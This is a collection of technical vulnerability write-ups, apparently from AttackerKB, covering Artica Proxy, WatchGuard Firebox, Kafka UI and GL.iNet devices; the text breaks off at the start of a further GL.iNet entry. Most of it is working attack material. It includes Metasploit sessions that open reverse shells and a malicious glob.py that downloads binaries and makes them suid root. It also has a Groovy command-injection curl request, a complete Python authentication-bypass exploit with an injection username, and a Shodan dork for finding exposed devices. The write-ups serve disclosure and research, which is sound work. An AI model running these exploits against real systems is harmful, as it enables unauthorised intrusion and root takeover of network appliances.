 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                        sics/using-metasploit.html
  RPORT      9000             yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The Artica Proxy endpoint URL
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host
  WEBSHELL                    no        Set webshell name without extension. Name will be randomly generated if left un
                                        set.


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on t
                                      he local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  1981             yes       The local port to listen on.


  When TARGET is not 0:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMMAND  passthru         yes       Use PHP command function (Accepted: passthru, shell_exec, system, exec)

Payload information:

Description:
  A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows
  remote attackers to run arbitrary commands via unauthenticated HTTP request.
  The Artica Proxy administrative web application will deserialize arbitrary PHP objects
  supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-2054
  https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054
  https://packetstormsecurity.com/files/177482


View the full module info with the info -d command.

Target 0 – PHP native php/meterpreter/reverse_tcp session

msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo
webshell => cuckoo
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0
target => 0
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4
rhosts => 192.168.201.4
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:9000 can be exploited.
[+] The target is vulnerable. Artica version: 4.50
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.4
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
[*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000

meterpreter > sysinfo
Computer    : artica-applianc
OS          : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >

Mitigation

If you want to test the module, you can download a vulnerable Artica Proxy appliance from here. You are strongly advised to upgrade your appliance to the latest version, but at least to a version greater then 4.50. Another quick fix is to remove the /usr/share/artica-postfix/wizard directory if it is not needed.

References

CVE-2024-2054
Korelogic Advisory KL-001-2024-002
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Artica Proxy Appliance ISO Downloads
Metasploit PR 18967: Artica Proxy unauthenticated RCE

Credits

Credits goes to the security researcher below who discovered this vulnerability

  • Jaggar Henry of KoreLogic Inc.
3
Ratings
Technical Analysis

This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody and /etc/fstab shows that all filesystems are either protected with read-only, no-suid or no-exec. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox which only provides a very limited command set. This makes living off the land pretty useless except for the nmap binary which is installed by default.

Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> os.getuid()
99
>>> os.getgid()
96
>>> import subprocess
>>> print(open("/etc/fstab").read())
/dev/wgrd.sysa_code    /           ext2        ro,noatime              1 1
/dev/wgrd.sysa_data    /etc/wg     ext3        rw,noexec,noatime       0 0
none                   /proc       proc        defaults                0 0
none                   /sys        sysfs       defaults                0 0
/dev/wgrd.boot         /boot       ext2        ro,noexec,noatime       0 0
/dev/wgrd.pending      /pending    ext2        rw,noexec,noatime       0 0
/dev/wgrd.var          /var        ext2        rw,noexec,noatime       0 0

# wg_linux platform.pkgspec

>>> subprocess.call(["nmap", "127.0.0.1"])
Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
4125/tcp open  rww
4126/tcp open  ddrepl
5000/tcp open  upnp
5001/tcp open  commplex-link
5002/tcp open  rfe
5003/tcp open  filemaker
5004/tcp open  avt-profile-1
6001/tcp open  X11:1
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
0
>>>

So the big question, how do we get privileged access?
Luckily, the appliance has python installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep program, that generates a crash report whenever a program crashes. And it has the setuid bit set on user root.

>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"])
-rwsr-xr-x    1 root     admin        31424 Sep 28  2021 /usr/bin/fault_rep
0
>>>

Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen, a python program. Here are lines of the program:

>>> print(open("/usr/bin/diag_snapgen").read())
#!/usr/bin/python

#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
#

import subprocess
import glob

#
# These files will have their contents copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
FILES = [
    '/etc/wg/bootlog',
    '/var/log/*.log',
    '/var/log/trace/*.log',
    '/proc/interrupts',
    '/proc/meminfo'
]

#
# These programs will have their output copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
PROGRAMS = [
    '/bin/ps',
    '/bin/ls -l /tmp',
    '/bin/df',
    '/bin/dmesg'
]

#
# Diagnostic Snapshot Generation
#

for i, path in enumerate(FILES):
    for j, name in enumerate(glob.glob(path)):
        print "=== %s ===" % (name)
        try:
            f = open(name)
            for line in f:
                print line,

            f.close()
        except:
            print "(Unable to open file!)"
        print

for i, name in enumerate(PROGRAMS):
    print "=== %s ===" % (name)
    try:
        name = name.split()
        p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        if p.returncode:
            raise(Exception(err))
        print out
    except:
        print "(Unable to run command!)"
    print

>>>

This is pretty promising because glob.py, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.

So let’s think this thru…

  • We create a malicious glob.py where we can run python code under the context of root.
  • This python code should remount a filesystem with exec and read-write rights.
  • A good candidate is the /dev/wgrd.pending filesystem.
  • We can download a static linked bash and busybox x86-64 binary from the web.
  • Change the ownership to root.admin and set the suid and sgid bit on both binaries.
  • We should now be able to spin off a root shell that gives us full control on the appliance.

This sounds like a plan…
Here is malicious glob.py code.

import subprocess, os, requests, ctypes
# set root
os.setuid(0)
os.setgid(0)

# remount /pending directory to enable suid and execution
def mount(source, target, fs, options='', flags=0):
  ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options)
  if ret < 0:
    errno = ctypes.get_errno()
    raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno)))

# 32 -- MS_REMOUNT flag
mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32)

# get the bash static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False)
with open("/pending/tmp/bash", mode="wb") as file:
	file.write(response.content)

# get busybox static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False)
with open("/pending/tmp/busybox", mode="wb") as file:
	file.write(response.content)

# setuid and sgid bit and make world executable. Bingo, you are root now!
os.chown("/pending/tmp/bash", 0, 0)
os.chmod("/pending/tmp/bash", 0o6755)
os.chown("/pending/tmp/busybox", 0, 0)
os.chmod("/pending/tmp/busybox", 0o6755)
exit()

Ok, let’s test this…
We will first upload our malicious glob.py to /tmp which is by default read-write, however we can not run any binaries in /tmp except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py gets imported, we need to change the PYTHONPATH to /tmp or ..
We than call our root suid program /usr/bin/fault_rep and our malicious glob.py should do the magic.

>>> import requests
>>> response = requests.get("http://192.168.201.8:1980/glob.py")
>>> with open("/tmp/glob.py", mode="w") as file:
... 	file.write(response.content)
...
>>> subprocess.call(["ls", "-l", "/tmp/glob.py"])
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:03 /tmp/glob.py
0
>>>

Ok, we have successfully downloaded glob.py. Please ensure that you have a http server running on your attacker machine.
Next step is to set the PYTHONPATH and run /usr/bin/fault_rep.

>>> myenv = os.environ.copy()
>>> myenv['PYTHONPATH'] = '.'
>>> print(myenv)
{'PYTHONPATH': '.'}
>>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv)
generating fault [01/unspecified] (Failed Assertion)...
0
>>>

Let’s check if the binaries are downloaded in /pending/tmp directory and owned by root.admin with suid and sgid bit set.

>>> subprocess.call(["ls", "-l", "/pending/tmp"])
-rwsr-sr-x    1 root     admin      2772944 Mar  8 17:14 bash
-rwsr-sr-x    1 root     admin      1894248 Mar  8 17:14 busybox
srw-r-----    1 nobody   nobody           0 Mar  7 22:38 cgi
-rw-r--r--    1 root     admin            0 Mar  8 16:37 configd.log
srw-rw-rw-    1 nobody   wg               0 Mar  7 22:38 epm
srw-rw-rw-    1 root     admin            0 Mar  7 22:38 geolocation
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:00 glob.py
prw-------    1 nobody   wg               0 Mar  7 22:38 radiusd
prw-------    1 nobody   wg               0 Mar  7 22:38 rsso-auth
srwxr-xr-x    1 nobody   admin            0 Mar  7 22:38 webui
srw-rw-rw-    1 nobody   wg               0 Mar  8 16:00 wgagent
0
>>>

Cool, the trick worked!
Let’s get our bash root shell…

>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2$ /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
bash-5.2$

Mmm, that’s strange. Looks that suid is not working.
Ahh, this rings a bell. Set suid bit on a bash shell does not work out of the box. There is -p option that overrides this behavior.

bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)

We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid and sgid once more and launch the bash shell again.

bash-5.2# python -i
python -i
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.setgid(0)
>>> import subprocess
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (12299): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=0(root) gid=0(admin)
bash-5.2#

Here we go!
We have full root access now.

References

CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.

2
Ratings
Technical Analysis

Almost two years ago (28 march 2022) jbaines published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).

The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only or no-exec, no-suid options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.

I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.

Module in action

msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options

Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                         ploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       WatchGuard Firebox base url
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CreateSession  true             no        Create a new session for every successful login
   LHOST                           yes       The listen address (an interface may be specified)
   LPORT          4444             yes       The listen port
   SHELL          /usr/bin/python  yes       The system shell to use


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Reverse Python Interactive Shell)

View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
rhosts => 192.168.201.24
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.24:8080 can be exploited.
[+] The target appears to be vulnerable.
[*] 192.168.201.24:8080 - Attempting to exploit...
[*] 192.168.201.24:8080 - Sending payload...
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000


Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> import subprocess
>>> os.listdir("./")
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
>>>
>>> os.getuid()
99
>>> os.getgid()
96
>>> print(open("/etc/passwd").read())
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
bin:x:1:1:bin:/bin:
system:x:2:96:WG System daemons:/:
nobody:x:99:99:Nobody:/:
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
openvpn:x:97:97:OpenVPN daemon:/:
www:x:96:95:WebUI:/:
cli:x:95:95:CLI:/:
cfm:x:94:94:CFM:/var/cfm_sandbox:
agent:x:93:96:WG Agent:/:
scand:x:91:94:Scanning Daemon:/var/run/scand:
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
sshd:x:89:89:sshd privilege separation:/var/empty:
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
cwagent:x:100:100:ConnectWise Agent:/var/empty:
dimension:x:101:101:Dimension Service:/var/run/dimension:
tss:x:102:102:trousers daemon:/:
atagent:x:103:103:Autotask Agent:/var/empty:
psad:x:104:104:PSA Daemon:/var/empty:
guac:x:105:105:Guacamole Daemons:/var/run/guac:
portald:x:106:105:Portald:/var/run/portald:
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
tpagent:x:111:96:Tigerpaw Agent:/var/empty:

>>> print(open("/etc/group").read())
admin:x:0:0
bin:x:1:admin,bin
nobody:x:99:
wgntp:x:98:
openvpn:x:97:
wg:x:96:
ui:x:95:
proxy:x:94:
sshd:x:89:
quagga:x:88:
netdbg:x:87:
cwagent:x:100:
dimension:x:101:
tss:x:102:
atagent:x:103:
psad:x:104:
ctlvpn:x:105:
dnswatchd:x:107:

>>> os.uname()
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
>>>

References

CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur from AssetNote.

1
Ratings
Technical Analysis

Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
Unfortunately there is a Remote Code Execution vulnerability at the latest version 0.7.1 that was discovered and disclosed on Sep 27, 2023 to provectus, but not yet patched.
The vulnerability can be exploited via the q parameter at /api/clusters/local/topics/{topic}/messages endpoint which allows the use to define a Groovy script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.

The vulnerable code can be found in the function groovyScriptFilter:

  static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
    var engine = getGroovyEngine();
    var compiledScript = compileScript(engine, script);
    var jsonSlurper = new JsonSlurper();
    return new Predicate<TopicMessageDTO>() {
      @SneakyThrows
      @Override
      public boolean test(TopicMessageDTO msg) {
        var bindings = engine.createBindings();
        bindings.put("partition", msg.getPartition());
        bindings.put("offset", msg.getOffset());
        bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli());
        bindings.put("keyAsText", msg.getKey());
        bindings.put("valueAsText", msg.getContent());
        bindings.put("headers", msg.getHeaders());
        bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey()));
        bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent()));

        var result = compiledScript.eval(bindings);  <==== vulnerable code
        
        if (result instanceof Boolean) {
          return (Boolean) result;
        } else {
          throw new ValidationException(
              "Unexpected script result: %s, Boolean should be returned instead".formatted(result));
        }
      }
    };
  }

The exploit is pretty simple to execute by the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute(); to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local and a topic (cuckoo) which you can create if there are no topics.

curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l
total 4
-rw-r--r--    1 kafkaui  kafkaui          0 Jan 24 16:26 cuckoo
drwxr-xr-x    2 kafkaui  kafkaui       4096 Jan 24 16:25 hsperfdata_kafkaui
/tmp $ 

Pretty simple, right?
And without any authentication!!!

If you want to make a more complex system command, you should not use "my commandline".execute() because it can not handle unix pipe |, redirection > and command chaining with ;.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"

If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.

Installation steps to install Kafka ui

  • Install Docker on your preferred platform.
  • Here are the installation instructions for Docker Desktop on MacOS.
  • Create a empty directory (kafka-ui).
  • Create the following docker-compose.yaml file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify the v0.7.0 in the yaml file to pull different versions.
version: '2'

networks:
  rmoff_kafka:
    name: rmoff_kafka

services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    container_name: zookeeper
    networks:
      - rmoff_kafka
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000
    ports:
      - 22181:2181

  kafka:
    image: confluentinc/cp-kafka:latest
    container_name: kafka
    networks:
      - rmoff_kafka
    depends_on:
      - zookeeper
    ports:
      - 29092:9092
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1

  kafka-ui:
    container_name: kafka-ui
    image: provectuslabs/kafka-ui:v0.7.0
    networks:
      - rmoff_kafka
    ports:
      - 8080:8080
    depends_on:
      - kafka
      - zookeeper
    environment:
      KAFKA_CLUSTERS_0_NAME: local
      KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
      KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
      KAFKA_BROKERCONNECT: kafka:9092
      DYNAMIC_CONFIG_ENABLED: 'true'
      KAFKA_CLUSTERS_0_METRICS_PORT: 9997
  • Run following command docker-compose up -d to install and run the Kafka ui and cluster environment.
  • Your Kafka ui should be accessible on http://localhost:8080 with an active Kafka cluster running.
  • You can bring down the environment for a fresh start with the command docker-compose down --volumes.

You are now ready to test the vulnerability.

And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18700 at Metasploit Github development.

Mitigation

Kafka-ui versions between v0.4.0v0.7.1 are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.

References

CVE-2023-52251
Kafka-ui unauthenticated RCE – h00die-gr3y Metasploit local repository
Kafka-ui unauthenticated RCE – Metasploit PR 18700
POC
Kafka-ui Github development

Credits

1
Ratings
Technical Analysis

There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY who discovered this vulnerability in October 2023.

I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism which is the standard for GL.iNet network devices.

Within the this code there is a loop through the /etc/shadow file to authenticate a user where the username is used for the lookup using a regex.
By manipulating the username with additional regex statements, one can manipulate the lookup, so that it retrieves the uid field instead of the password field, hence using this for a valid root login will return a session id (SID) to be used for authentication.

local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

Regex injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one.

root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::

With the following username: root:[^:]+:[^:]+ the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+) that shifts forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>.

Additionally, some ACL’s are required that are stored in the SQLite db. This lookup, which is coded in /usr/lib/lua/oui/db.lua, is not successful because we manipulated the username.

M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end

However, by a brilliant combination of the regex and sql injection, DZONERZY was able to retrieve that information in one go with the username below.

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

Pretty cool !!!

But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel") are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.

Below is a python script that checks if your device is vulnerable for CVE-2023-50919.

#!/usr/bin/env python3

# Exploit Title: GL.iNet Authentication bypass
# Shodan Dork: title:"GL.iNet Admin Panel"
# Date: 30/12/2023
# Exploit Author: h00die-gr3y@gmail.com
# Vendor Homepage: https://www.gli-inet.com
# Software Link: https://dl.gl-inet.com/?model=ar300m16
# Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin
# Version: 4.3.7
# Tested on: GL.iNet AR300M16
# CVE: CVE-2023-50919

import json
import requests
import hashlib
import time
from random import randint
from sys import stdout, argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxies = {
   'http': 'http://127.0.0.1:8080',
   'https': 'http://127.0.0.1:8080',
}

proxies = {} # no proxy

def get_challenge(url):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'challenge',
                'params': {'username': 'root'}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['nonce']
                print('[-] Error: could not find nonce')
                return False
        except requests.exceptions.RequestException:
                print('[-] Error while retrieving challenge')
        return False


def login(url, username, hash):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'login',
                'params': {
                        'username': '{}'.format(username),
                        'hash': '{}'.format(hash)}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['sid']
                print('[-] Error: could not find sid')
                return False

        except requests.exceptions.RequestException:
                print('[-] Error while retrieving sid')
        return False

def main(url):
        print('[+] Started GL.iNet - Authentication Bypass exploit')
        username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
        pw = '0'
        print('[+] Get challenge and login')
        start = time.time()
        nonce = get_challenge(url+'/rpc')
        if nonce:
                print('[+] nonce: {}'.format(nonce))
                hash_str = username+':'+pw+':'+nonce
                hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest()
                print('[+] hash: {}'.format(hash))
                sid = login(url+'/rpc', username, hash)
                print(f'[+] Time elapsed: {time.time() - start}')
                if sid:
                        print('[+] sid: {}'.format(sid))


if __name__ == '__main__':
        if len(argv) < 2:
                print('Usage: {} <TARGET_URL>'.format(argv[0]))
                exit(1)

        main(argv[1])
# python ./auth-bypass.py http://192.168.8.1
[+] Started GL.iNet - Authentication Bypass exploit
[+] Get challenge and login
[+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt
[+] hash: 01f250624caab2acaf4feb290dd45d33
[+] Time elapsed: 2.650479793548584
[+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e

Mitigation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0
  • MT6000: v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7
  • E750/E750V2, MV1000: v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page

Credits

  • DZONERZY
1
Ratings
Technical Analysis

This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log and get_crash_log functions of the logread module, as well as the upgrade_online function of the upgrade module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.

Attackers can manipulate routers by passing malicious shell commands through the API (v4).

get_system_log function

{
